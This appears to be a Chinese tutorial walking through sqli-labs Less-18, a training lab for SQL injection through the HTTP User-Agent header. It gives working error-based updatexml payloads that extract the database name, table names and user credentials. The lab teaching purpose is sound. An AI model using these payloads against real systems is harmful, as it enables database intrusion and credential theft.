sqlilab-Less-18

知识铺垫

User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。user-agent的作用。通过识别用户身份,响应合适的web界面,所以更改可以让电脑返回一个手机界面,是不是很神奇

复制代码
User-Agent: Mozilla/<version> (<system-information>) <platform> (<platform-details>) <extensions>

那为什么http头部可以进行注入?结合网上资料由于大部分网站为了记录用户的http请求头部内容,来更好的识别用户的身份信息,会将其带入数据库处理。任何与数据库交互的地方都是有可能会有sql注入漏洞的。没有对http头部内容进行验证和过滤,导致攻击者可以任意篡改http头部信息拼接到数据库恶意获取敏感内容。

题目解析

一个新的类型的关卡,从这里到后面的几关都是HTTP头部注入,来到这关后就可以看到这里显示我们的ip地址,我们尝试输入正确的用户名+正确的密码,会出现user agent,但是错误的账号,则不会显示,,说明我们要从这里入手,那么问题就很简单了,那么我们就可以尝试抓包然后在User-Agent中进行注入

当我们在后面加上单引号的时候,发现页面报错了

admin是我们的用户名,127.0.0.1是我们的地址,他可能把我们这是三个打印出来,然后在显示出来,我们可以一下,传入三个字符串,这里我尝试构造一个 ,1,1)#,成功了。

查看源码

接下来就简单多了

爆数据库

复制代码
User-Agent: ''1' and updatexml(1,concat(0x3a,(select database()),0x3a),1),1,1)#

爆表名

复制代码
User-Agent:1' and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) and'

第一个这样子长度受限制了,只能一个个去尝试了

复制代码
User-Agent:1' and updatexml(1,concat(1,(select group_concat(username,'~',password) from users)),1) and'

User-Agent:1' and updatexml(1,concat(1,(select concat(username,'~',password) from users limit 0,1)),1) and'
相关推荐
whn19776 小时前
查询日期报错,参数DATETIME_FMT_MODE
数据库·sql
夜雪闻竹6 小时前
sql.js WASM 实战:浏览器里跑 SQLite
javascript·sql·wasm
Gauss松鼠会7 小时前
GaussDB(DWS) GUC参数修改、查看
java·数据库·sql·数据库开发·gaussdb
yuzhiboyouye7 小时前
所有的 SQL 都要经过 Explain 优化,是什么意思
数据库·sql
星川水月9 小时前
Access数据库快速入门——外部数据导入和SQL简单查询
数据库·sql·access
ElevenS_it1889 小时前
MySQL慢查询监控与告警实战:从slow_log采集到分钟级定位慢SQL的完整链路配置
android·sql·mysql
阳光九叶草LXGZXJ10 小时前
达梦数据库-学习-57-读写数据页超时告警排查(page[x,x,xxxxxx] disk write uses)-DSC集群版
linux·运维·服务器·数据库·sql·学习
阳光九叶草LXGZXJ11 小时前
达梦数据库-堆栈看问题-01-asmapi_asm_extent_load
linux·运维·数据库·sql·学习
pixle011 小时前
LangChain v1.2 Text-to-SQL 实战:从入门到生产级部署
sql·langchain·agent·智能助手·text-to-sql
清平乐的技术专栏11 小时前
【FlinkSQL笔记】(二)Flink SQL 基础语法详解
笔记·sql·flink